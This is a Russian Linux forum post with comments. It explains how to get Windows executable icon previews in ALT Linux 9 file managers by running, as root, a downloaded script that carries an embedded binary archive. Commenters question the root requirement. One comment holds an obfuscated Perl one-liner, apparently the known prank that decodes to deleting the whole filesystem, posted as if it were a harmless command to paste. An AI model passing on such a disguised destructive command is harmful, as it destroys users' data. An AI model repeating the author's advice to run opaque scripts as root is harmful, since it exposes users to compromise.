5

ALT KWORKSTATION 9 И ИКОНКИ ИСПОЛНЯЕМЫХ ФАЙЛОВ WINDOWS

Продолжаем разговор о ALT Linux 9. Установив ОС и добавив в нее необходимое ПО, хочется приблизить функциональность файлового менеджера к привычным интерфейсам операционных систем от Microsoft. Речь идет о предпросмотре файлов содержащих графические, видео, аудио данные, или тексты документов. Сюда же относятся и значки исполняемых программ Windows. Если с мультимедиа все прекрасно, — в отношении последних аналогичная функциональность менеджеров не распространяется. Вопрос касается и Caja в ALT Workstation 9, и Dolphin в версии с индексом «K», и Thunar в Simply.


Как хотелось бы видеть файловый менеджер:

Решением станет запуск в терминале скрипта, представленного здесь. Сразу скажу, внутри  файла «зашит» бинарный архив, содержащий копию github репозитория исходных кодов https://github.com/exe-thumbnailer/exe-thumbnailer. В «Сизифе» ALT’а настоящей программы нет.


После запуска скрипт запросит пароль администратора — ему нужно установить дополнительные системные библиотеки и записывать файл из архива в закрытые обычному пользователю папки.


Последовательность действий для ALT KWorkstation 9:


1. Скачиваем скрипт отсюда.

2. Даем ему права на исполнение — правая кнопка мыши -> Свойства -> вкладка «Права» -> ставим флажок «Является исполняемым» -> Ок.

3. Опять ПКМ -> действия -> Запустить в konsole.

Откроется консоль с запросом пароля администратора, вводим, Enter.

Окончание работы программа подтвердит сообщением. После установки и перезапуска менеджера файлов — можно сразу наслаждаться результатом.

GNU/Linux

1.2K поста15.6K подписчика

Правила сообщества

Все дистрибутивы хороши.

Будьте людьми.

0
Автор поста оценил этот комментарий

Ну или просто установите Windows.

раскрыть ветку (1)
0
Автор поста оценил этот комментарий

Не-а. У самурая есть меч и путь ))

показать ответы
4
Автор поста оценил этот комментарий

https://github.com/exe-thumbnailer/exe-thumbnailer. В «Сизифе» ALT’а настоящей программы нет.

Ну дык соберите. Всех делов - написать .spec и специфичный для Альта .gear-rules из одной строчки:

tar.xz: .

раскрыть ветку (1)
Автор поста оценил этот комментарий

Обязательно. Вот брошу сейчас статью на 20000 знаков, которую мне завтра сдавать и начну писать спеки =) Правда хлеб дома у меня и так редко бывает, а то вообще кончится.

показать ответы
3
Автор поста оценил этот комментарий

Запускать неведомые скрипты с яндекс диска под рутом - ну так себе идея:)

раскрыть ветку (1)
Автор поста оценил этот комментарий

Это ж скрипт. Всегда можно убедиться в его безопасности просто заглянув внутрь.

показать ответы
3
Автор поста оценил этот комментарий

И продолжите материться на отсутствие программы? Даже фич-реквест в багзиллу отправить не можете?

раскрыть ветку (1)
Автор поста оценил этот комментарий

Я на пикабу то набегами захожу. Занят очень. Когда мне всю эту мелочь говорить и писать? Там еще разбираться и узнавать нужно -- как именно происходит отправка "фич-реквест" в альт. И не факт, что они кого-то заинтересуют

показать ответы
2
Автор поста оценил этот комментарий

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

раскрыть ветку (1)
Автор поста оценил этот комментарий

Имелся в виду bash скрипт, а не каша-перловка =)

3
Автор поста оценил этот комментарий
А что таки мешает написать УСТАНОВИТЬ конкретные пакеты, ОТДЕЛЬНЫЙ скрипт на установку оных (одной строкой, заметь). А уже тогда ставить свою приблуду.

Вопрос в лоб — а какого хера этой софтине вообще делать в /usr и /usr/bin, которые чистятся дистрибутивом на апгрейде просто таки на ура.

/usr/local  и  /usr/local/bin — сюда должен софт становиться.
раскрыть ветку (1)
Автор поста оценил этот комментарий

Угу. Осталось только объяснить thumbnailer'у, что файл брать с установками предпросмотра exe-dll-msi.thumbnailer из /usr/local/share/thumbnailers/ или из ~/.local/share/thumbnailers (что ближе к описанному вами). У меня не захотел. Переписывать код самого предпросмотрщика адаптируя версию из дистра к дополнительным путям - у меня не настолько много свободного времени. Сделал простое решение. Ответ в лоб: Кому надо - пусть пользуются, если не интересно - проходят мимо. Скрипты я пишу для себя, под конкретный дистр.

2
Автор поста оценил этот комментарий

Извращенец. Хочешь файловый менеджер, поставь тот же Krusader, вполне себе кошерный аналог ТоталКомандера.

Иллюстрация к комментарию
раскрыть ветку (1)
Автор поста оценил этот комментарий

И far2l стоит и doublecmd. Правда обычно использую Midnight, да ладно. Но иногда и стандартный. Хочется многообразия функциональности везде. Системы на основе linux такие -- прикрутить все и где только хочется можно.

1
Автор поста оценил этот комментарий

Давай идиотский вопрос: А ЗАЧЕМ скрипту права рута? Неужто софтина не способна из-под юзера встать и из-под него же работать? Да, она не сможет читать файлы, на которые ей нет прав чтения - так не больно-то и хотелось. Всё равно, даже если из-под рута поставлена, запущена-то она будет из-под юзера, и с теми же ограничениями.

Так что разберись, надобен ли ей рут.

раскрыть ветку (1)
Автор поста оценил этот комментарий

У вас юзер способен писать в /usr/bin или /usr/share ? Если да, то поздравляю - в нормально настроенной безопасности такого нет. Рут требуется для установки дополнительных библиотек icoutils,icoutils-extra,ImageMagick,liblnk,liblnk-tools,msitools и переноса в систему следующих файлов:

usr/
├──bin
│ ├──exe-thumbnailer
├──share
│ ├──thumbnailers
│ │ ├──exe-dll-msi.thumbnailer
│ ├──pixmaps
│ │ ├──exe-thumbnailer
│ │ │ ├──nitrux
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──evolvere-vivid
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──faience
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──evolvere
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──nitrux-buttons-2
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──elementary
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──moka
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──captiva
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──paper
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──vibrancy
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──box
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──awoken-white
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──awoken
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──gnome
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──breathe
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──shortcut.png
│ │ │ ├──awoken-dark
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──faenza
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──tango
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──compass
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ ├──nitrux-buttons
│ │ │ │ ├──template.png
│ │ │ │ ├──installer.png
│ │ │ └──square-beam
│ │ │ ├──template.png
│ │ │ ├──installer.png

Как говориться, найди как это сделать без рута? ;)

показать ответы